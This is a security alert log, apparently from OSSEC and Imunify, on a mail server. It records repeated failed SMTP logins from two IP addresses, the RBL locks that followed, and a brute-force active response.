2026-06-27 09:51:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:2180: 535 Incorrect authentication data (set_id=shoot@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:51:24 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:51:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:52264: 535 Incorrect authentication data (set_id=bolik@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:51:20 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:52:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:60978: 535 Incorrect authentication data (set_id=ezproxy@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:52:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:56916: 535 Incorrect authentication data (set_id=ptc@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:52:14 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:52:31 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:53:16 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:53:34 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:53:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32838: 535 Incorrect authentication data (set_id=powerchute@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:53:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:36960: 535 Incorrect authentication data (set_id=powerchute@ns5.netmaster.tg)


